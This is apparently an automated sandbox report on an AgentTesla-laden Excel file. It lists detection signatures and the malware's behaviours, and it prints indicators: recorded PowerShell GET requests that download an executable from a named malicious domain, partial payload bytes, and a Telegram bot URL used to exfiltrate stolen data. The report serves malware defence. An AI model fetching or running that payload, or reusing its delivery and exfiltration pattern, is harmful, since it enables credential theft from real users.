Analysis Report TcLt4.xls

Overview

General Information

Sample Name:	TcLt4.xls
Analysis ID:	324135
MD5:	4bb3584cc8f750ab27bf51e2d154496b
SHA1:	bda4832689dc06c315a3b7a810814527a74915d9
SHA256:	8a0de87ccaf8efb28f84081e3b589d4bd60c2da182a970838bc1e2fed0037e3e
Tags:	AgentTeslaDreamhostxls
Most interesting Screenshot:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Yara detected AgentTesla

Bypasses PowerShell execution policy

Creates processes via WMI

Drops PE files to the user root directory

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Powershell drops PE file

Sigma detected: Executables Started in Suspicious Folder

Sigma detected: Execution in Non-Executable Folder

Sigma detected: Suspicious Program Location Process Starts

Suspicious powershell command line found

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Antivirus or Machine Learning detection for unpacked file

Contains capabilities to detect virtual machines

Contains long sleeps (>= 3 min)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Document contains an embedded VBA macro which executes code when the document is opened / closed

Document contains embedded VBA macros

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the user directory

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains strange resources

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Stores files to the Windows start menu directory

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Signatures

AV Detection:

Multi AV Scanner detection for domain / URL

Source: sparepartiran.com

Virustotal: Detection: 10%

Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\Public\raqfxwuo.exe	Metadefender: Detection: 21%	Perma Link
Source: C:\Users\Public\raqfxwuo.exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\VideoLAN\vlc.exe	Metadefender: Detection: 21%	Perma Link
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\VideoLAN\vlc.exe	ReversingLabs: Detection: 55%

Multi AV Scanner detection for submitted file

Source: TcLt4.xls	Virustotal: Detection: 25%			Perma Link
Source: TcLt4.xls	ReversingLabs: Detection: 51%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\VideoLAN\vlc.exe	Joe Sandbox ML: detected
Source: C:\Users\Public\raqfxwuo.exe	Joe Sandbox ML: detected

Antivirus or Machine Learning detection for unpacked file

Source: 21.2.raqfxwuo.exe.400000.0.unpack	Avira: Label: TR/Spy.Gen8
Source: 20.2.raqfxwuo.exe.400000.0.unpack	Avira: Label: TR/Spy.Gen8

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\VideoLAN\vlc.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\VideoLAN\
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\VideoLAN\vlc.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\VideoLAN\vlc.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\VideoLAN\vlc.exe	File opened: C:\Users\user\AppData\
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\VideoLAN\vlc.exe	File opened: C:\Users\user\
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\VideoLAN\vlc.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\

Software Vulnerabilities:

Potential document exploit detected (performs DNS queries)

Source: global traffic

DNS query: name: sparepartiran.com

Potential document exploit detected (performs HTTP gets)

Source: global traffic

TCP traffic: 192.168.2.4:49788 -> 162.223.88.131:80

Potential document exploit detected (unknown TCP traffic)

Source: global traffic

TCP traffic: 192.168.2.4:49788 -> 162.223.88.131:80

Networking:

Downloads executable code via HTTP

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 28 Nov 2020 11:19:01 GMTServer: ApacheLast-Modified: Thu, 26 Nov 2020 22:28:12 GMTAccept-Ranges: bytesContent-Length: 518656Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 db 2b c0 5f 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 0b 00 00 be 03 00 00 2a 04 00 00 00 00 00 5e dc 03 00 00 20 00 00 00 e0 03 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 08 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 10 dc 03 00 4b 00 00 00 00 e0 03 00 c8 26 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 08 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 64 bc 03 00 00 20 00 00 00 be 03 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 c8 26 04 00 00 e0 03 00 00 28 04 00 00 c0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 08 00 00 02 00 00 00 e8 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 dc 03 00 00 00 00 00 48 00 00 00 02 00 05 00 a4 31 00 00 38 37 00 00 03 00 00 00 6e 00 00 06 dc 68 00 00 2a 73 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 03 00 74 00 00 00 01 00 00 11 02 28 01 00 00 0a 38 42 00 00 00 38 f0 ff ff ff fe 0c 00 00 45 03 00 00 00 3f 00 00 00 1c 00 00 00 1d 00 00 00 38 3a 00 00 00 02 28 04 00 00 06 20 01 00 00 00 17 3a d9 ff ff ff 26 38 cf ff ff ff 2a 02 28 06 00 00 06 38 dd ff ff ff 02 28 02 00 00 06 20 00 00 00 00 17 3a b6 ff ff ff 26 38 ac ff ff ff 02 28 03 00 00 06 20 02 00 00 00 38 a0 ff ff ff 13 30 07 00 40 01 00 00 02 00 00 11 20 03 00 00 00 fe 0e 03 00 38 00 00 00 00 fe 0c 03 00 45 08 00 00 00 05 00 00 00 14 00 00 00 9b 00 00 00 c3 00 00 00 2f 00 00 00 d5 00 00 00 f9 00 00 00 d4 00 00 00 38 00 00 00 00 38 ef 00 00 00 20 04 00 00 00 38 c7 ff ff ff 73 1e 00 00 06 13 02 38 97 00 00 00 38 b0 00 00 00 20 06 00 00 00 38 ac ff ff ff 02 d0 04 00 00 01 28 02 00 00 0a 72 01 00 00 70 17 8d 05 00 00 01 13 05 11 05 16 d0 01 00 00 1b 28 0a 00 00 06 a2 11 05 28 03 00 00 0a 14 17 8d 02 00 00 01 13 04 11 04 16 11 02 28 0b 00 00 06 a2 11 04 6f 04 00 00 0a 74 04 00 00 01
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 28 Nov 2020 11:19:01 GMTServer: ApacheLast-Modified: Thu, 26 Nov 2020 22:28:12 GMTAccept-Ranges: bytesContent-Length: 518656Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 db 2b c0 5f 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 0b 00 00 be 03 00 00 2a 04 00 00 00 00 00 5e dc 03 00 00 20 00 00 00 e0 03 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 08 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 10 dc 03 00 4b 00 00 00 00 e0 03 00 c8 26 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 08 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 64 bc 03 00 00 20 00 00 00 be 03 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 c8 26 04 00 00 e0 03 00 00 28 04 00 00 c0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 08 00 00 02 00 00 00 e8 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 dc 03 00 00 00 00 00 48 00 00 00 02 00 05 00 a4 31 00 00 38 37 00 00 03 00 00 00 6e 00 00 06 dc 68 00 00 2a 73 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 03 00 74 00 00 00 01 00 00 11 02 28 01 00 00 0a 38 42 00 00 00 38 f0 ff ff ff fe 0c 00 00 45 03 00 00 00 3f 00 00 00 1c 00 00 00 1d 00 00 00 38 3a 00 00 00 02 28 04 00 00 06 20 01 00 00 00 17 3a d9 ff ff ff 26 38 cf ff ff ff 2a 02 28 06 00 00 06 38 dd ff ff ff 02 28 02 00 00 06 20 00 00 00 00 17 3a b6 ff ff ff 26 38 ac ff ff ff 02 28 03 00 00 06 20 02 00 00 00 38 a0 ff ff ff 13 30 07 00 40 01 00 00 02 00 00 11 20 03 00 00 00 fe 0e 03 00 38 00 00 00 00 fe 0c 03 00 45 08 00 00 00 05 00 00 00 14 00 00 00 9b 00 00 00 c3 00 00 00 2f 00 00 00 d5 00 00 00 f9 00 00 00 d4 00 00 00 38 00 00 00 00 38 ef 00 00 00 20 04 00 00 00 38 c7 ff ff ff 73 1e 00 00 06 13 02 38 97 00 00 00 38 b0 00 00 00 20 06 00 00 00 38 ac ff ff ff 02 d0 04 00 00 01 28 02 00 00 0a 72 01 00 00 70 17 8d 05 00 00 01 13 05 11 05 16 d0 01 00 00 1b 28 0a 00 00 06 a2 11 05 28 03 00 00 0a 14 17 8d 02 00 00 01 13 04 11 04 16 11 02 28 0b 00 00 06 a2 11 04 6f 04 00 00 0a 74 04 00 00 01

IP address seen in connection with other malware

Source: Joe Sandbox View

IP Address: 162.223.88.131 162.223.88.131

Internet Provider seen in connection with other malware

Source: Joe Sandbox View

ASN Name: COLOUPUS COLOUPUS

Uses a known web browser user agent for HTTP communication

Source: global traffic	HTTP traffic detected: GET /js/2Q/Jqeofcirr6.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: sparepartiran.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /js/2Q/Jqeofcirr6.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: sparepartiran.comConnection: Keep-Alive

Source: global traffic	HTTP traffic detected: GET /js/2Q/Jqeofcirr6.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: sparepartiran.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /js/2Q/Jqeofcirr6.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: sparepartiran.comConnection: Keep-Alive

Source: unknown

DNS traffic detected: queries for: sparepartiran.com

Source: raqfxwuo.exe, 00000014.00000002.926985798.0000000002D71000.00000004.00000001.sdmp, raqfxwuo.exe, 00000015.00000002.926541973.0000000002EB1000.00000004.00000001.sdmp	String found in binary or memory: http://127.0.0.1:HTTP/1.1
Source: raqfxwuo.exe, 00000015.00000002.926541973.0000000002EB1000.00000004.00000001.sdmp	String found in binary or memory: http://DynDns.comDynDNS
Source: raqfxwuo.exe, 00000015.00000002.926541973.0000000002EB1000.00000004.00000001.sdmp	String found in binary or memory: http://HReuFq.com
Source: powershell.exe, 0000000E.00000002.873518482.000001FCD6723000.00000004.00000001.sdmp, powershell.exe, 0000000F.00000002.875739715.000001DF98621000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: powershell.exe, 0000000E.00000002.873203401.000001FCD66F0000.00000004.00000001.sdmp	String found in binary or memory: http://crl.v
Source: raqfxwuo.exe, 00000012.00000002.902397165.00000000062E0000.00000002.00000001.sdmp, raqfxwuo.exe, 00000013.00000002.903427260.00000000059C0000.00000002.00000001.sdmp	String found in binary or memory: http://fontfabrik.com
Source: powershell.exe, 0000000E.00000002.858258052.000001FCBE901000.00000004.00000001.sdmp, powershell.exe, 0000000F.00000002.874182432.000001DF90661000.00000004.00000001.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
Source: powershell.exe, 0000000F.00000002.860086707.000001DF80811000.00000004.00000001.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: raqfxwuo.exe, vlc.exe	String found in binary or memory: http://schemas.microso
Source: powershell.exe, 0000000E.00000002.855256796.000001FCBE6F1000.00000004.00000001.sdmp, powershell.exe, 0000000F.00000002.858931595.000001DF80601000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000E.00000002.860161665.000001FCBEC42000.00000004.00000001.sdmp	String found in binary or memory: http://sparepartiran.c
Source: powershell.exe, 0000000E.00000002.860043403.000001FCBEC23000.00000004.00000001.sdmp, powershell.exe, 0000000F.00000002.865375940.000001DF81186000.00000004.00000001.sdmp	String found in binary or memory: http://sparepartiran.com
Source: powershell.exe, 0000000F.00000002.867208662.000001DF813D9000.00000004.00000001.sdmp	String found in binary or memory: http://sparepartiran.com/js/2Q/J
Source: PowerShell_transcript.445817.FB9lPag7.20201128121858.txt.14.dr, PowerShell_transcript.445817.3hbNPFfq.20201128121858.txt.15.dr	String found in binary or memory: http://sparepartiran.com/js/2Q/Jqeofcirr6.exe
Source: powershell.exe, 0000000E.00000002.858258052.000001FCBE901000.00000004.00000001.sdmp, powershell.exe, 0000000F.00000002.860086707.000001DF80811000.00000004.00000001.sdmp	String found in binary or memory: http://sparepartiran.com/js/2Q/Jqeofcirr6.exe0ym
Source: powershell.exe, 0000000E.00000002.860043403.000001FCBEC23000.00000004.00000001.sdmp	String found in binary or memory: http://sparepartiran.comx
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: http://weather.service.msn.com/data.aspx
Source: raqfxwuo.exe, 00000013.00000003.860850803.00000000058D5000.00000004.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/
Source: raqfxwuo.exe, 00000012.00000002.902397165.00000000062E0000.00000002.00000001.sdmp, raqfxwuo.exe, 00000013.00000002.903427260.00000000059C0000.00000002.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 0000000F.00000002.860086707.000001DF80811000.00000004.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: raqfxwuo.exe, 00000013.00000003.863204233.00000000058DC000.00000004.00000001.sdmp	String found in binary or memory: http://www.ascendercorp.com/typedesigners.html~
Source: raqfxwuo.exe, 00000013.00000003.860145524.00000000058E7000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.com
Source: raqfxwuo.exe, 00000013.00000003.860145524.00000000058E7000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.com8
Source: raqfxwuo.exe, 00000012.00000002.905518077.0000000007402000.00000004.00000001.sdmp, raqfxwuo.exe, 00000013.00000002.903427260.00000000059C0000.00000002.00000001.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: raqfxwuo.exe, 00000012.00000002.905518077.0000000007402000.00000004.00000001.sdmp, raqfxwuo.exe, 00000013.00000003.863994938.00000000058DC000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: raqfxwuo.exe, 00000013.00000002.903427260.00000000059C0000.00000002.00000001.sdmp, raqfxwuo.exe, 00000013.00000003.863715280.00000000058DC000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: raqfxwuo.exe, 00000012.00000002.905518077.0000000007402000.00000004.00000001.sdmp, raqfxwuo.exe, 00000013.00000002.903427260.00000000059C0000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: raqfxwuo.exe, 00000013.00000003.863994938.00000000058DC000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.html)
Source: raqfxwuo.exe, 00000012.00000002.905518077.0000000007402000.00000004.00000001.sdmp, raqfxwuo.exe, 00000013.00000002.903427260.00000000059C0000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: raqfxwuo.exe, 00000013.00000003.863921533.00000000058DC000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlm
Source: raqfxwuo.exe, 00000012.00000002.905518077.0000000007402000.00000004.00000001.sdmp, raqfxwuo.exe, 00000013.00000002.903427260.00000000059C0000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: raqfxwuo.exe, 00000012.00000002.905518077.0000000007402000.00000004.00000001.sdmp, raqfxwuo.exe, 00000013.00000002.903427260.00000000059C0000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: raqfxwuo.exe, 00000012.00000002.905518077.0000000007402000.00000004.00000001.sdmp, raqfxwuo.exe, 00000013.00000002.903427260.00000000059C0000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: raqfxwuo.exe, 00000012.00000002.905518077.0000000007402000.00000004.00000001.sdmp, raqfxwuo.exe, 00000013.00000002.903427260.00000000059C0000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: raqfxwuo.exe, 00000013.00000003.863762863.00000000058DC000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designersg
Source: raqfxwuo.exe, 00000012.00000002.897433239.0000000001A17000.00000004.00000040.sdmp	String found in binary or memory: http://www.fontbureau.coma
Source: raqfxwuo.exe, 00000013.00000003.863994938.00000000058DC000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.comalicb
Source: raqfxwuo.exe, 00000012.00000002.897433239.0000000001A17000.00000004.00000040.sdmp	String found in binary or memory: http://www.fontbureau.come.com
Source: raqfxwuo.exe, 00000013.00000003.863994938.00000000058DC000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.cometp/
Source: raqfxwuo.exe, 00000012.00000002.897433239.0000000001A17000.00000004.00000040.sdmp	String found in binary or memory: http://www.fontbureau.comion
Source: raqfxwuo.exe, 00000013.00000003.863994938.00000000058DC000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.comk
Source: raqfxwuo.exe, 00000012.00000002.897433239.0000000001A17000.00000004.00000040.sdmp	String found in binary or memory: http://www.fontbureau.comm2DW
Source: raqfxwuo.exe, 00000012.00000002.905518077.0000000007402000.00000004.00000001.sdmp, raqfxwuo.exe, 00000013.00000002.903427260.00000000059C0000.00000002.00000001.sdmp	String found in binary or memory: http://www.fonts.com
Source: raqfxwuo.exe, 00000012.00000002.905518077.0000000007402000.00000004.00000001.sdmp, raqfxwuo.exe, 00000013.00000002.903427260.00000000059C0000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: raqfxwuo.exe, 00000012.00000002.905518077.0000000007402000.00000004.00000001.sdmp, raqfxwuo.exe, 00000013.00000002.903427260.00000000059C0000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: raqfxwuo.exe, 00000012.00000002.905518077.0000000007402000.00000004.00000001.sdmp, raqfxwuo.exe, 00000013.00000002.903427260.00000000059C0000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: raqfxwuo.exe, 00000012.00000002.905518077.0000000007402000.00000004.00000001.sdmp, raqfxwuo.exe, 00000013.00000002.903427260.00000000059C0000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: raqfxwuo.exe, 00000012.00000002.905518077.0000000007402000.00000004.00000001.sdmp, raqfxwuo.exe, 00000013.00000002.903427260.00000000059C0000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: raqfxwuo.exe, 00000012.00000002.902397165.00000000062E0000.00000002.00000001.sdmp, raqfxwuo.exe, 00000013.00000002.903427260.00000000059C0000.00000002.00000001.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: raqfxwuo.exe, 00000013.00000003.860850803.00000000058D5000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: raqfxwuo.exe, 00000013.00000003.861559363.00000000058D8000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/(
Source: raqfxwuo.exe, 00000013.00000003.863994938.00000000058DC000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/1
Source: raqfxwuo.exe, 00000013.00000003.862193481.00000000058D5000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/Y0-c
Source: raqfxwuo.exe, 00000013.00000003.862193481.00000000058D5000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/b
Source: raqfxwuo.exe, 00000013.00000003.861559363.00000000058D8000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/
Source: raqfxwuo.exe, 00000013.00000003.861559363.00000000058D8000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/1
Source: raqfxwuo.exe, 00000013.00000003.860850803.00000000058D5000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/k
Source: raqfxwuo.exe, 00000013.00000003.861559363.00000000058D8000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/lt
Source: raqfxwuo.exe, 00000013.00000003.861559363.00000000058D8000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/vno;
Source: raqfxwuo.exe, 00000013.00000003.861559363.00000000058D8000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/x
Source: raqfxwuo.exe, 00000013.00000003.861559363.00000000058D8000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/y
Source: raqfxwuo.exe, 00000013.00000003.858263125.00000000058EB000.00000004.00000001.sdmp	String found in binary or memory: http://www.munchfonts.co
Source: raqfxwuo.exe, 00000012.00000002.905518077.0000000007402000.00000004.00000001.sdmp, raqfxwuo.exe, 00000013.00000002.903427260.00000000059C0000.00000002.00000001.sdmp, raqfxwuo.exe, 00000013.00000003.857744123.00000000058EB000.00000004.00000001.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: raqfxwuo.exe, 00000013.00000003.857389194.00000000058EB000.00000004.00000001.sdmp	String found in binary or memory: http://www.sajatypeworks.com1~
Source: raqfxwuo.exe, 00000012.00000002.905518077.0000000007402000.00000004.00000001.sdmp, raqfxwuo.exe, 00000013.00000002.903427260.00000000059C0000.00000002.00000001.sdmp	String found in binary or memory: http://www.sakkal.com
Source: raqfxwuo.exe, 00000012.00000002.905518077.0000000007402000.00000004.00000001.sdmp, raqfxwuo.exe, 00000013.00000002.903427260.00000000059C0000.00000002.00000001.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: raqfxwuo.exe, 00000013.00000002.903427260.00000000059C0000.00000002.00000001.sdmp	String found in binary or memory: http://www.tiro.com
Source: raqfxwuo.exe, 00000012.00000002.905518077.0000000007402000.00000004.00000001.sdmp, raqfxwuo.exe, 00000013.00000002.903427260.00000000059C0000.00000002.00000001.sdmp	String found in binary or memory: http://www.typography.netD
Source: raqfxwuo.exe, 00000012.00000002.905518077.0000000007402000.00000004.00000001.sdmp, raqfxwuo.exe, 00000013.00000002.903427260.00000000059C0000.00000002.00000001.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: raqfxwuo.exe, 00000012.00000002.902397165.00000000062E0000.00000002.00000001.sdmp, raqfxwuo.exe, 00000013.00000002.903427260.00000000059C0000.00000002.00000001.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://analysis.windows.net/powerbi/api
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://api.aadrm.com/
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://api.addins.omex.office.net/appinfo/query
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://api.addins.omex.office.net/appstate/query
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://api.diagnostics.office.com
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://api.diagnosticssdf.office.com
Source: raqfxwuo.exe, 00000015.00000002.926541973.0000000002EB1000.00000004.00000001.sdmp	String found in binary or memory: https://api.ipify.orgGETMozilla/5.0
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://api.microsoftstream.com/api/
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://api.office.net
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://api.onedrive.com
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://api.powerbi.com/beta/myorg/imports
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
Source: raqfxwuo.exe, 00000012.00000002.899909340.0000000004351000.00000004.00000001.sdmp, raqfxwuo.exe, 00000013.00000002.899832989.00000000028A8000.00000004.00000001.sdmp, raqfxwuo.exe, 00000014.00000002.924181667.0000000000402000.00000040.00000001.sdmp, raqfxwuo.exe, 00000015.00000002.924149098.0000000000402000.00000040.00000001.sdmp	String found in binary or memory: https://api.telegram.org/bot%telegramapi%/
